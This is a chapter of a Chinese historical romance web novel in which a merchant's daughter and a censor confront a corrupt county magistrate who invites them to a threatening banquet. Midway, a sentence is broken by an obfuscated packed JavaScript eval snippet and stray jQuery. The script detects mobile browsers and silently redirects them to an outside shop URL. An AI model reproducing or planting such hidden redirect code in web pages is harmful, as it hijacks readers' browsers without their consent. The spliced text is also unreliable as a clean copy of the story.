相视笑完后，祝月盈心中还是有些忐忑。
毕竟，无论怎么说，现在自己和步郎君都还身在定宁县，如此激怒对方并非上策，祝月盈还是不想和安县令闹得太僵。
步九思牵起祝月盈的袖子离开这个是非之地，他心中回忆着定宁县的几家邸店，却突然发觉祝月盈许久没有说话。
他生怕是方才与安县令的一番剑拔弩张吓到了对方，正小心观察着她眉头的每次颦蹙。
祝月盈此时在心中斟酌着，要如何劝说步郎君不要把事情闹得太大呢？
步九思已经猜到她心中所想，先一步叹了口气。
祝月盈的注意力果不其然被他吸引：“步郎君何故叹气？可是遇到了什么解决不了的麻烦？”
步九思摇头，他苦笑道：“祝娘子或许不知道一件事。”
“曾有许多人言，祝家先前对我的帮衬就是稳赚不赔的投资，就是为了待我入仕后受我庇护。”
他第一次说出这么直白的话，惹得祝月盈有些不好意思。
她垂下头去：“祝家人不过也只是求个心安罢了，并非是想要官商勾结，借步郎君的名声做违反大宁律法之事。”
“我知道，”步九思无奈，“若是祝家真的只是想要借着我的名号胡作非为，方才祝娘子被安县令刁难时，就不会不借我的势了。”
祝月盈这才明白，他的话绕了这么大一圈，原来是为了说这个。
她拍拍对方的手背：“步郎君这么说，可是怕我受了委屈？”
步九思不语，他只是定定看着祝月盈，看得后者都不禁心软了。
祝月盈也说了实话：“祝家帮衬步郎君，便算是攒下了这份人情。”
“而人情，是用一次少一次的。”
祝月盈没有再笑：“何况，安县令的这件事，他是官，我是民，他是士，我是商，本就没有必要拉步郎君下水。”
步九思又叹了一口气。
他的声音中充满关切与急迫：“祝家曾经和陛下做过生意，陛下还以亲笔赏赐祝家，阿盈可以再硬气一些。”
这一句“阿盈”叫得极其顺口，顺到祝月盈第一时间都没有觉察到不对。
还是步九思先发现：“抱歉，方才步某直呼祝娘子的名字，实在失礼。”
“这倒没什么。”祝月盈的确没有觉得冒犯，“月盈本就是我的名字，而名字就是用来称呼的。何况步郎君还是我的友人。”
步九思看起来有些紧张，他再次小心咬着这个名字：“阿盈？”
“嗯，我在。”
祝月盈感受到对方波动不平的心跳，她握住了他的手，想要帮步九思稳定心绪。
她宽慰道：“毕竟我是商户出身嘛，先前在宁顺侯府时便常有人借着出身攻击我，现在失了这一层勋贵光环，我被如此对待也是意料之中。”
“些微小事罢了，步郎君没必要因此气恼。”
步九思的心跳随她与自己交握的手而更加急促，他向来白皙的面容上都沾染了点点飞红：“阿盈你……”
好在上一世的步舍人不过两息就恢复了清明：“此话不妥。”
“商户出身而已，纵然有品阶上的差距，可祝娘子行得正，便能坐得直。这是不违反大宁律法的。”
如果祝月盈真的这般做了，尽管安县令肯定会不高兴，但真要较起真来，祝娘子可什么都没有做错。
祝月盈顺着他的话继续想，上一世的步九思遭人非议，自然也会有勋贵人家抓着他的农家子出身喋喋不休吧。
如此想来，那时的步九思很得越定还宠信，若是他想要抹去自己的出身，也并非难事。
或许，那时的他早就坦然接受了自己卑微的出身，根本没有丝毫遮掩之意，他光明正大。
祝月盈若有所思，自己上一世面对侯府时始终抬不起头来，自然也有身份客观差距带来的自卑。这种自卑合理化了许多侯府的举动，让她总想着退让，若非自己有重来一次的机会，她绝不会胆敢跟侯府叫板。
思绪充斥着祝月盈的脑海，她觉得头脑发胀，只好勉强笑着回答：“受教了。”
步九思没有再说话，他静静陪伴对方走着，心底叹息。
看来宁顺侯府对她的影响并不是一朝一夕便能改变的，步九思想着。
他曾从祝月盈成长的只言片语记录中努力拼凑心上人的身影，然而不管是何时何地的祝月盈，呈现出的都是一副明媚开朗的模样。
可真正当他目光所见时，那侯府的世子夫人形容枯槁，她双眼无神，下意识地落后别人半步，低垂着头，总贴着无人的阴影处小步行走。
步九思无法接受这般大的落差，他这一世好不容易看着心上人离开那座磋磨她的侯府，本以为事情就此会好起来。
没想到，现在的祝月盈尽管看起来开朗了许多，可在她的内心深处，还是烙下了畏首畏尾的伤痕。
步九思心中对宁顺侯府的恨意更加浓烈。
在邸店住下后，两人很默契地没有再提方才说过的那些话。
定宁县令来者不善，步九思需要行事更加小心些，而祝月盈也要去和那些宝石商人打交道，故而这几日两人都没有碰上面。
步九思仍然延续他在沥水县的作风，亲自去往定宁县的乡间找农家子们询问。
安县令对此早有耳闻，他专门在定宁乡间安排了自己的人假扮成农家子，就是准备来一个守株待兔。
不过嘛……
“阁下不是定宁县的农户吧。”
步九思依然笑着，说出的话却十分无情：“这应是安县令的手笔了？”
面前之人仍然在嘴硬：“官、官人？官人在说什么啊，俺怎么能不是乡里人嘞？”
步九思微笑颔首：“既如此，可否向我出示你的户籍证明？”
来人讷讷不能言，顾左右而言他：“这……”
“还需要步某说得更多么？”步九思神色骤然平淡下来，“我方一来此，你就恰好出现在我视线范围之内，虽然一身农户打扮，但好像完全不急着抢收。”
假农户见身份彻底被戳穿，他心有不甘：“步郎君可知，做事留一线的道理？”
步九思坦然应下：“如果这是安县令想传达给步某的话，那么，步某受教。”
他侧目吩咐身后的小吏：“将这些都如实记下，等回到平宁后呈给吏部考功司和礼部侍郎一观。”
假农户彻底摆不出谱了：“步御史！御史阁下！切莫如此！”
步九思站起身，他俯视着来人，眸光冷冷：“回去转告安县令，步某会奉陪到底。”
假农户赶紧跑回定宁官署，只留监察御史一行还在此处。
步九思神色从容，他像是不记得这件事似的，继续招呼小吏跟从他往更远的村落行去。
有记录的小吏终于忍不住：“原来步御史这次没有主动找农户问话，竟然是因为这个……”
步九思自然听到了吏从们的窃窃私语，但他一笑置之。
监察御史这段时间总在定宁各个乡下跑，但祝月盈却一直留在定宁县最繁华的主道上，与此处鱼龙混杂的宝石商人们了解着情况。
定宁县商业繁华，市集众多，又借着临近沽海县的地理优势，此处不乏专与商人做生意的贩子。
祝月盈一直在不同市集间考察，她此时手中正拿着宝石散珠端详：“这也是沽海县产的？”
小贩应声：“客官这可是说中了！沽海县有宝石，尤其是水晶，此事谁人不晓？我这儿可是正儿八经的沽海白水晶，童叟无欺，客官尽管去沽海县比对！”
祝月盈先看着小贩的模样，身形瘦弱，下颌有颗黑痣，看起来很是精明。
是他。
她收回目光，点了点头：“看着成色倒是不错，晶体的棉絮矿坑也较别家少许多。”
小贩挺起胸膛：“不瞒客官，就连平宁的大人物都在我这儿进过货呢！”
“你说他是平宁的大人物他就是了？吹牛谁还不会，不就欺负我们不认识么。”祝月盈笑道，“不过货倒是真的不错，打孔损耗也少。便宜点呗？”
小贩听她以为自己只是在吹牛，也急了：“诶呦客官，我骗你作甚？平宁的大人物可是一直在我这儿进货，保准客官去平宁能瞧见！品质绝对好，这已经是最低价了！”
祝月盈今儿就是专程来找他的，为的就是确认他是平宁那人的货源。
听罢，她像是将信将疑：“既然你都这么说了，那先给我总共拿一斤的货，这几样都要。”
在小贩把样货装袋的同时，祝月盈的余光又被他旁边摊子上的成品首饰吸引：“这个看起来不错。”
那是一只镯子，通体均用海蓝宝做成，其上带有宝石浅蓝与深蓝的纹路，看起来很是清新绮丽。
小贩也分神瞥了一眼过来：“阁下好眼力！客官有所不知，这种石头脆得很，许多不懂行的只会磨很小的珠子出来，我这还是专门托了沽海县的老匠人才能雕成这么厚一只手镯。”
他把样货给祝月盈，同时压低了声音：“尤其这批选的又是成色极好的料子，客官瞧瞧，是不是颜色均匀通体清透？在外面少于三两我可不卖。”
祝月盈小心捏着这只镯子，她看着它湛蓝如天空般的颜色，心中突然想到了一个人。
她了然笑道：“行了，说说吧，要多少文？”
“客官若是喜欢……”小贩激动地搓了搓手，“一两半如何？”
他看祝月盈立马抬步离开，连忙挽回道：“哎！别走啊！一两？八百文？这是最低价了！”
祝月盈折返，她回忆着母亲进货时的模样，用从容但不容置喙的语气道：“六百五十文。”
小贩心有不甘，但是他看祝月盈立马又要走，只好认下来：“行吧行吧，客官，这次我可真是亏大发了。”
“若你说得是真的，那我们以后合作的机会可少不了。”
祝月盈适时缓和了语气：“等我回去看看，比对一下品质，过几天再来订大货。”
“对了。”
她突然想起：“不知道怎么称呼？到时候也好找你。”
小贩没有察觉到不对：“这儿就我一个姓安的，到时候你直接报安十七的名字来找就行。”
祝月盈表面惊讶：“跟县令阁下同姓啊？果真不同凡响。”
“嗐，”安十七无奈，“同姓不同命，我这也是俺耶耶曾经给姓安的贵人当过护卫才蹭来的一个姓，真要是能和县令阁下扯上关系，我还用得着这样在外抠搜？”
祝月盈也叹了口气：“说的也是，咱这种小人物不能和官人们比啊。”
她拿完样货后就准备回邸店，并不准备如前些日子一般去定宁本地的首饰铺子考察。
在回去的路上，祝月盈仍然想着今日遇见的安十七。
自己运送宝石的商路就是被安家在定宁县截断的，这其中安县令和安十七一定发挥了什么作用。
祝月盈不知道安十七是否认出了自己，但他今日能松口与自己进行买卖，着实不是什么好兆头。
毕竟，就算安十七认不出自己，但定宁县令肯定会注意到自己每一日的去向，从而注意到安十七。
她手中握着从安十七那里买走的样货，面色凝重地回了邸店。
步九思今日依旧回来得较晚，但二人无论晚到什么时辰，都一定要聚在一处说说今天自己的见闻，就像是在交换自己在定宁县得知的消息一般。
一连几日都是如此，祝月盈和步九思二人还未厌倦，定宁县令倒是先坐不住了。
他在自己的府中烦躁地踱步，自言自语道：“那姓步的到底要干什么……”
外面小厮的声音传来：“主子！信来了！”
安县令精神一振，他猛地抬头：“赶紧呈上来！”
小厮在深秋跑得满头大汗，他小心拿出平宁来的信笺递给主子。
安县令三下五除二赶紧拆封，扯出纸张后一目十行地阅读着，希望能抓紧提取到有用的消息。
信自然是礼部侍郎寄来的，安侍郎和安县令是堂兄弟关系，许多侍郎府不方便做的事情，背后都有安县令的参与。
这回，安县令想要和以往一般处理来此处的监察御史，但又听到了关于步九思的一些风声。出于稳妥考虑，他还是先向平宁去了一封信，好问清其中的门道，免得唐突出手遇到硬茬。
安侍郎在信中写了步九思的出身，以及他在春闱中的名次，还有陛下对他的赏赐。
安县令仔细看着，他发出一声嗤笑：“原来是个农户出身的泥腿子，怪不得天天就知道下地里去跟那些泥腿子玩。”
虽然信里写，陛下曾送给他一座宅子，还曾在百官面前夸赞过他，但安县令不以为意，陛下夸过的人可多了去了。
不说别的，安侍郎家里的大郎君从小天资聪颖，被夸过不知道多少次呢。安县令根本就没把这件事放在心上。
他继续往下看，既然步九思不过是个装腔作势的狗彘之徒，那么和他同行的那位祝娘子呢？
安县令的视线继续向下，却渐渐笑出了声。
“不过如此！我竟被这两个泥腿子耍得团团转！”
他恨恨道：“本以为他们如此嚣张，定然是有所依靠，没想到啊，没想到。”
没想到步郎君不过是个之前还要给商户做工讨薪的卑贱人，也没想到祝娘子不过是个高攀勋贵又被和离回家的弃妇。
安县令心中轻蔑想着，这俩人狼狈为奸而已，不足挂心。
他笑完后摇摇头，吩咐一直在旁边装聋子的小厮：“你，去给那姓步的递个信儿，就说后天晚上我在府里为监察御史接风洗尘，务必把他和那个祝月盈都一起弄过来。”
小厮恭恭敬敬应了，立马就动身前去二人投宿的邸店。
而此时，祝月盈恰好和步九思在一处。
祝月盈拿出从安十七那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258067|145067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里买来的样货摆在桌案上：“这绝不是什么好消息。”
步九思在对方准许后捻起宝石端详，他在指尖垫了一层帕子，看起来格外珍惜。
祝月盈有些无奈：“步郎君不用这般小心。不过水晶罢了，还都是散珠，不值几个钱。”
话虽如此，但步九思还是认真对待着祝月盈的一切所有物。
他将其放回远处，整理好袖子再开口：“步某这几日一直在定宁巡查，甚至已经发现了许多定宁县令贪赃枉法的罪证，却依旧无人前来制止我。”
在安县令的地盘上调查安县令的罪证，过程却如此顺利，对于一位本就心术不正的县令而言，这怎么可能呢？
祝月盈沉吟：“安县令一直都未曾阻拦你，他定然还有后手。”
步九思也是这样想的，他刚想出言肯定对方的猜测，却突然听到外面的声音。
“娘子，步郎君。”在外守门的小满敲敲门，而后她探了个脑袋进来，“县令府的人来找。”
二人对视一眼，一前一后地出了门。
安县令的小厮候在走廊中，他向几人道出自己的来意，话语非常真挚，好似县令真的迫切想要为几人接风洗尘一般。
步九思出面应下，打发走了小厮后，二人才重新回到房间中去。
祝月盈的脸色凝重了许多：“我们都在这这么多天了，才想起来接风洗尘？怕是来者不善。”
步九思颔首：“鸿门宴。”
祝月盈想到方才二人聊到的：“先前我只知道定宁县繁华，却没想到它其中竟然还藏着这么多问题。”
步九思垂眸，他的指尖有规律地敲击着桌案：“定宁县是大宁建立后才改的名字，而之前，这里其实叫做安定县。”
安，自然就是定宁县令的那个安，也是礼部侍郎的那个安。
祝月盈了然：“他的势力不好清除。”
“后日赴宴一定要小心些，”她轻叹，“不论如何，得先安排些侍卫在外守备着。”
二人继续闲聊完今日的见闻才各自回屋，小满为主子关上窗棂，祝月盈坐在窗边脱外袍，却突然发现：“诶呀，地契忘记给步郎君了。”
小满好奇凑过来：“娘子，什么地契呀？”
“今儿在县里转悠，刚好看到有家地段不错的铺子，主家急着出手，我就拿低价抄回来了。”
祝月盈苦恼：“本来想直接把地契给步郎君的，毕竟之前我弄脏了他的新宅子嘛。虽然他说不介意，但我心里还是有些过意不去。”
“算了，”她把地契收好，“等赴完宴再说吧。”
两日后。
步九思和祝月盈在县令府前碰面，二人对视，都在对方的眸中看到了凝重。
但这次安县令的态度热情了许多：“步御史，祝娘子，若有不适还望海涵呐！”
步九思走在祝月盈前面，也挡住了安县令的目光：“多谢阁下美意。”
几人走到偏厅，祝月盈落座后环顾周围，已经嗅到了空气中不寻常的气氛。
偏厅并不大，桌案上也只有三套餐具，分明是直冲着二人来的。
祝月盈语气淡淡：“步御史身边可跟着不少有品级的官人，安县令怎得就单单邀请步御史和民女？”
安县令笑了两声，却不屑于回答她的问题。
宾客到齐，县令府的侍从关上偏厅的门，而后都退出门外，连带步九思和祝月盈身边的侍从也被请了下去。
直至此时，安县令才卸了脸上的笑：“步御史这段时间，可忙得很啊。”
步九思不接话茬：“这是步某职责所在。”
“呵呵，步御史倒是勤勉。”
安县令皮笑肉不笑：“就是不知，这份勤勉是否有明智的选择来相配呢？”
步九思垂眸不语，他和祝月盈都在认真吃饭。
安县令事先想好的话就这么哽在喉咙里，他索性把话说的更明白些：“步御史，在你之前，定宁县也来过许多监察御史。不过他们有的高升了，有的却因为各种意外退出了仕途。”
“步御史想要成为哪一类人，就要看你自己的选择了。”
步九思这才抬眼：“安县令的意思是？”
“本县令知道御史阁下在县里看到了许多东西。”安县令慢条斯理道，“而什么能说，什么不能说，相信步御史心中有数。”
步九思仍然不接话：“这非是监察御史之责。”
“正八品的官，说大不大，说小不小。”安县令开始利诱，“若是步御史上道，那么很快就能进入中枢，自然瞧不上这种小官，但步御史若是不上道……”
他冷笑：“那怕是连正八品都攀不上了。”
步九思依旧不松口：“雷霆雨露皆是君恩，步某以后品阶如何，自有陛下与吏部定夺，步某问心无愧。”
安县令有些急了，他出言威胁：“沥水同样流经定宁县，晚上常有商人在河边摆摊集市。先前可就有一位监察御史，因为贪恋功劳，日日往偏僻的地方钻，结果不慎夜间掉进沥水中，第六天才被捞上来。”
“步御史如若继续在定宁县闲逛，怕是会步他的后尘，难道不是么？”
步九思浅笑：“多谢安县令提醒，步某定会小心勿要失足落水。”
他软的不吃，硬的也不吃，安县令几次三番给他暗示，但步九思就像是完全没听懂一样一直往外推，惹得安县令恼怒极了。
安县令一拍桌案：“步九思！”
祝月盈本来好好吃着饭，结果安县令这么一拍桌子，碗筷都摔了个稀碎，这顿饭怕是吃不了了。
她缓缓放下筷子，抬手好像要整理鬓发，指尖却已经抵上了那只特殊的簪子。
先前在平宁，她便是摔了这支簪子，以此告知所有暗卫开始行动的。
而现在，祝月盈又一次抚上了这支簪子。
她的暗卫已经在外待命，只消她将其拔下一摔，便能立即掩护主子撤出县令府。
但现在还不是时候，祝月盈想。
她垂眸，尽量减弱自己的存在感，认真感知着偏厅内的一切。
那边的安县令已经被步九思再一次的敷衍彻底激怒：“步九思！你知不知道我是谁？别给脸不要脸！你可知，礼部侍郎如何？！”
“乡野竖子，不通礼节！”安县令一甩袖子，“那便不用再给你机会了！”
他抬手招呼：“来人！步御史和祝娘子醉了，来把他们都给我……”
祝月盈听到这里，她不动声色地来到步九思身边，捏住簪子的指尖用力。
她紧盯着偏厅突然大开的门，簪子已经被她悄无声息拔下，只需一瞬便能摔落在地上。
然而，此时偏厅门外却传来了令她意外的声音：“没想到，竟然会在此处听到礼部侍郎的名头呀。”
“既如此，那安县令认为，礼部尚书如何？”
一个让所有人都始料未及的身影缓缓出现在门槛处。